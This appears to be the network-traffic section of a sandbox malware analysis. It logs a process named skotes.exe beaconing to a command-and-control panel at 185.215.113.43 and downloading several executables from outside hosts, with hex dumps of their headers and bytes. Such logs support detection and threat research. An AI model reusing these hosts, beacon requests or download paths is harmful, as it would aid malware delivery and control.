Dec 10, 2024 05:10:51.310771942 CET	1.1.1.1	192.168.2.5	0xef5a	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:10:52.343970060 CET	1.1.1.1	192.168.2.5	0x104d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.349359989 CET	1.1.1.1	192.168.2.5	0xb505	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.393249989 CET	1.1.1.1	192.168.2.5	0x1b20	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.487008095 CET	1.1.1.1	192.168.2.5	0x2ea2	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 10, 2024 05:10:52.499592066 CET	1.1.1.1	192.168.2.5	0xd2f4	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.499592066 CET	1.1.1.1	192.168.2.5	0xd2f4	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.504908085 CET	1.1.1.1	192.168.2.5	0x2be1	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:10:52.504908085 CET	1.1.1.1	192.168.2.5	0x2be1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:53.857734919 CET	1.1.1.1	192.168.2.5	0xcddb	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:53.996241093 CET	1.1.1.1	192.168.2.5	0x4966	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49821	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:04.633150101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 10, 2024 05:10:05.983217001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49828	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:07.614998102 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 10, 2024 05:10:08.976474047 CET	660	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 35 0d 0a 20 3c 63 3e 31 30 31 33 36 30 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 33 36 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 36 30 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 33 36 30 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 [TRUNCATED] Data Ascii: 1d5 <c>1013605001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1013606001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013607001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013608001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013609001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49833	31.41.244.11	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:09.101495981 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 10, 2024 05:10:10.445614100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:10 GMT Content-Type: application/octet-stream Content-Length: 1990144 Last-Modified: Tue, 10 Dec 2024 03:19:19 GMT Connection: keep-alive ETag: "6757b337-1e5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 60 87 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 87 00 00 04 00 00 a6 17 1f 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELd`@ZBn@h! @T@.rsrch!@d@.idata B@ ) B@whvqijov@l:@ikwnifltP6@.taggant0`"<@
Dec 10, 2024 05:10:10.445655107 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:10.445664883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:10.445842981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:10.445853949 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:10.445863962 CET	1236	IN	Data Raw: 5b 6f a7 de e1 b0 ab 54 fa e3 fc 59 cb 96 6c 74 21 7f 87 fd 3c 69 00 a9 7d d5 64 25 e2 f7 a1 25 f4 f3 83 47 98 eb 9b 38 d0 c6 cf b3 65 79 27 b1 90 1d a3 8f 56 4c e7 a8 2e f7 db 38 ee 96 84 76 9c c1 c9 01 98 32 ec aa ca 87 54 ac 5d dd 27 9a 77 42 Data Ascii: [oTYlt!<i}d%%G8ey'VL.8v2T]'wBcM,7f49{w)j1~a<:mz!yW<Ppn,'xIx9_NSiaY{zhTa\aV:'X65m\_mXN$dfKU%dYU~s
Dec 10, 2024 05:10:10.445873976 CET	1236	IN	Data Raw: ce e7 b4 98 e9 6b ab 83 fb cb 5e 95 69 55 c2 9a ed bb 00 8a 39 89 6c 9f b7 b2 d1 8e db b7 b8 3e 97 97 c6 94 61 7a eb 94 47 42 60 95 de 48 ca 6e 95 38 1b 87 7e 42 44 90 82 21 a6 fb 36 50 b3 98 61 c3 62 2c 70 d9 66 17 83 58 bd b9 7a 88 61 05 43 bc Data Ascii: k^iU9l>azGB`Hn8~BD!6Pab,pfXzaC\x,goLKn^G!z;9fZhhdgS"GyYj*;dRrWCk!G8cO$=jE>"Wr{Sbzh=69g$[?
Dec 10, 2024 05:10:10.446054935 CET	1236	IN	Data Raw: 55 0e 2c ca 78 6b cc 46 17 c7 6d 41 84 a0 bc 56 ed 79 bb 2f cc ef 86 55 a7 b8 ed 94 33 a5 0c 45 61 e7 82 78 0c 20 7a a6 11 97 5d 39 67 67 c2 98 b0 0a 9e e6 3c e1 b2 71 b9 af b4 66 44 81 37 29 4e ee 13 e6 b6 ee eb c8 a0 8b a4 dc f3 00 19 ff 64 58 Data Ascii: U,xkFmAVy/U3Eax z]9gg<qfD7)NdXW,yS"8ZlXI/}k@+b3=fl'e=vq6= \|o'R]B4NL7i!2Uj%H0/
Dec 10, 2024 05:10:10.446065903 CET	672	IN	Data Raw: 98 bc 21 69 f7 df ca 81 e6 44 bc 24 ea c1 cf 18 65 c8 a3 88 df b2 ab 33 14 61 a4 64 2a 90 25 b7 7f e2 a2 c9 92 88 ae 56 d2 0e cc 64 0e 3b 9e e1 38 b4 d0 d1 af bb 59 08 73 ab 00 fc b4 ca 1f 8c ac 17 00 b2 ed 3d 33 bd f7 41 a2 82 95 c9 13 a5 f9 c2 Data Ascii: !iD$e3ad%Vd;8Ys=3ACpz 8< o/cB4^a2z_]5+QYzY%Jwwb'yv%\|7hHgg^l,\|xW=!~\|`F-cz0m
Dec 10, 2024 05:10:10.446070910 CET	1236	IN	Data Raw: a5 86 91 cd cf 08 97 39 80 83 eb a9 69 fd f2 52 b8 cf 65 bc 18 87 47 11 50 10 88 0d 69 27 f9 6e 4c 1f 68 91 ca 32 4d 29 2d 9f e6 fc a3 aa d4 ce 1a b9 ee e1 79 7d 67 34 83 22 72 35 29 87 8f 17 9d 5a 05 64 8d 5a 7f 8a 14 af a8 b6 f0 f9 17 af bf f9 Data Ascii: 9iReGPi'nLh2M)-y}g4"r5)ZdZD-rp(\|:cc}c^D7c*(lIuC3vE\|28&q3"EClXg<%u{}b(\tBa.d,&
Dec 10, 2024 05:10:10.564976931 CET	1236	IN	Data Raw: a7 c7 69 7d e1 57 48 13 1a 4c bd 54 11 a0 cf 73 ff cf 18 97 e4 7d fc a2 a3 c7 a2 73 81 78 2b 9b 84 e0 87 98 17 65 27 64 62 a1 71 48 41 9e 90 1c 77 8e e3 a8 e9 d6 e6 d8 a0 3e bb ae 76 8c eb c1 d5 7b e5 96 66 44 02 75 a0 b4 e0 98 08 9d c9 41 31 39 Data Ascii: i}WHLTs}sx+e'dbqHAw>v{fDuA19Wn-YXyH1VVBZz'>:$Iu#?'z]R*Vxycgw%gl'nN"Rp7kO$d}4X9Q7NE];fBc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49849	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:16.207349062 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013605001&unit=246122658369
Dec 10, 2024 05:10:17.551251888 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49855	185.215.113.16	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:17.684277058 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 05:10:19.010448933 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:18 GMT Content-Type: application/octet-stream Content-Length: 1832448 Last-Modified: Tue, 10 Dec 2024 03:29:09 GMT Connection: keep-alive ETag: "6757b585-1bf600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 c0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 48 00 00 04 00 00 e1 06 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELUgH@H@\@p0A B@.rsrc0R@.idata @V@ )PX@sbjgrbkb0/vZ@biqspjfjH@.taggant0H"@
Dec 10, 2024 05:10:19.010495901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:19.010507107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:19.010658979 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:19.010669947 CET	1236	IN	Data Raw: 87 e0 e4 fc 76 8d fa 0f 28 3b e5 08 a7 38 e7 8a 90 a1 68 0a c0 38 b4 2b b9 84 5b 35 a7 34 ec f4 f8 e7 5b 49 5e f8 b0 44 d3 c2 66 33 3e 98 6e bf 05 a0 d4 dc f1 f9 1a 63 22 ca ea 88 a3 d8 e1 0f 9f e4 c7 67 42 aa 13 f9 b9 dd ed 44 42 b3 94 7e 0a d0 Data Ascii: v(;8h8+[54[I^Df3>nc"gBDB~&Kld70`T2x{eAjbY2C+j}Z3=B64a^I!sQ6+Gm+f0skgk+v&a;Jh08
Dec 10, 2024 05:10:19.010680914 CET	1236	IN	Data Raw: 78 9c 20 09 69 52 8c c2 99 f1 b4 37 ac 87 78 7c 20 da c3 a6 64 f7 a1 44 1f c0 cf a3 e7 9b c5 0f 2f ac 1d cf 81 e4 eb 3f 25 86 53 2a ae c7 9a 8c 09 f6 eb 62 2b 2a 34 64 dc 6d 24 04 62 9f c3 65 a5 62 fc e7 00 76 41 bd c1 b2 e4 b7 7b d4 ab 1f 5e 44 Data Ascii: x iR7x\| dD/?%Sb+4dm$bebvA{^D<e}?u"L$DZ_b#uH2X!;9f5kO1(`vMJ>iE5wKgxSA7yD3\!?H4qG7}Xft1U5
Dec 10, 2024 05:10:19.010689974 CET	1236	IN	Data Raw: 18 c1 22 83 08 84 12 80 51 97 f3 46 3a 7d 72 d1 88 a1 27 0f 46 5f 62 8d 39 16 14 b1 88 70 08 35 b4 96 66 7f da c4 b8 a3 c9 91 8f cd 0a 72 22 d4 31 33 bd 05 81 ee 81 02 23 70 f3 0f 9e b2 eb 14 16 89 f3 8b 0d b9 66 c9 09 4c 27 3b f3 e5 24 99 30 86 Data Ascii: "QF:}r'F_b9p5fr"13#pfL';$073.oY[zR_JTH v 7mO{ OxH(\|sj.FW;P$=9d61k:epqno7A~50RIWQZdPz
Dec 10, 2024 05:10:19.010699987 CET	1236	IN	Data Raw: 42 e5 fd d9 40 09 65 b3 37 88 ec 3a 3e de e0 cf 51 30 73 18 26 82 b0 8f 18 80 6e e7 df 9c 2b 84 15 b6 be 75 33 48 86 70 af 88 df db 3f 86 24 20 16 c6 62 02 5a a7 df b6 1d a3 13 74 96 cf 60 20 25 34 b3 33 31 5d c5 3e a6 53 e7 00 21 5b d5 20 f6 6e Data Ascii: B@e7:>Q0s&n+u3Hp?$ bZt` %431]>S![ nY%/D+e",fCBs@8fPDp&MzBT-_4)I3ks3nk?s<+!j 'o2I"rds$E"p3{?xg
Dec 10, 2024 05:10:19.010901928 CET	1236	IN	Data Raw: 09 ae 46 4a 29 87 6d 0f dc b7 77 ca 05 ab 6c 7c 85 4f 52 dd 30 18 06 7b 9d 8c e2 f5 31 1c ee 80 03 f0 d5 46 27 f0 15 04 46 04 0b 57 da f4 52 4a 35 84 27 cb f9 91 14 aa fd 6f ff e7 d9 ec f2 72 8a 88 66 3a ad 79 3c 76 6c ee f7 16 4e 75 0b 9f d0 f1 Data Ascii: FJ)mwl\|OR0{1F'FWRJ5'orf:y<vlNuU&$z-\|1~[I7i1gESg7he_'vu $z=Rh\|f6VYbd##W0
Dec 10, 2024 05:10:19.010912895 CET	1236	IN	Data Raw: 22 61 ac 31 bc 58 bc 6a a2 c9 eb b3 1d e8 1c 9a a6 76 ea 80 91 74 07 2d b9 f8 63 b7 88 2e e8 bd 2e 90 53 f3 bb d6 71 12 f9 31 84 85 e3 bc 6b 95 05 71 2b 59 db 2c f4 e2 3e c6 fe a3 61 50 f4 49 38 80 ac 4a ef 4a 60 a3 df a6 e5 02 e4 84 03 c4 c7 1e Data Ascii: "a1Xjvt-c..Sq1kq+Y,>aPI8JJ`YGOF7;{EsS'ny2-6" `]";Py:kE^tlH%~DGGBA*suouvtpyz>lGA<`~
Dec 10, 2024 05:10:19.129811049 CET	1236	IN	Data Raw: 1d 28 c3 4c 1c 33 18 86 e4 f6 d9 2a 1a 29 07 76 89 0d 61 a9 f0 34 9f 7f f4 38 7f 68 ef 32 9a 89 8a 1f da f8 ae 87 a9 4e 04 a7 78 d4 ea b2 99 8f 2c 81 1d 64 36 d3 03 c0 58 f0 a8 7e ea f5 6f 26 1c 75 ba e2 bf 62 ea ae f5 92 d1 7a ad 0c 19 1a 30 a7 Data Ascii: (L3*)va48h2Nx,d6X~o&ubz0cK5tX\|nM0a{oAzWmia?gvXh(!ymK<)<}h&-IXpea !S2l7XB,}7z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49868	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:25.073236942 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013606001&unit=246122658369
Dec 10, 2024 05:10:26.436204910 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49874	185.215.113.16	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:26.565537930 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 10, 2024 05:10:27.913203001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:27 GMT Content-Type: application/octet-stream Content-Length: 1801728 Last-Modified: Tue, 10 Dec 2024 03:29:17 GMT Connection: keep-alive ETag: "6757b58d-1b7e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 4a 27 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(i@@iJ'@M$a$$ $h@.rsrc$x@.idata $z@ `*$\|@dnuvwdxn O~@nviifdddiX@.taggant0i"\@
Dec 10, 2024 05:10:27.913238049 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:27.913669109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:27.913717031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:27.913727999 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:27.914446115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:10:27.914486885 CET	1236	IN	Data Raw: ee 9b 2b 5a 29 ec 84 6d e2 2f 25 b3 7a 80 b5 13 70 8e 12 a6 19 e9 19 60 30 bb b5 dd 80 07 29 b9 78 78 b7 a5 01 df 92 96 db 39 93 7e 95 09 90 63 9e 7c 03 6b db 24 2a c4 54 c0 3a 73 f2 e2 ed 80 2d ba 69 a5 37 21 9a 24 67 5d cf 25 33 d4 7b 1d de e8 Data Ascii: +Z)m/%zp`0)xx9~c\|k$*T:s-i7!$g]%3{`;76{JjVGp\|/'X/[o\_hR}1bqMtr&.^%5>[{ybuPf2\|ebWPSh%QsY=fqn~2
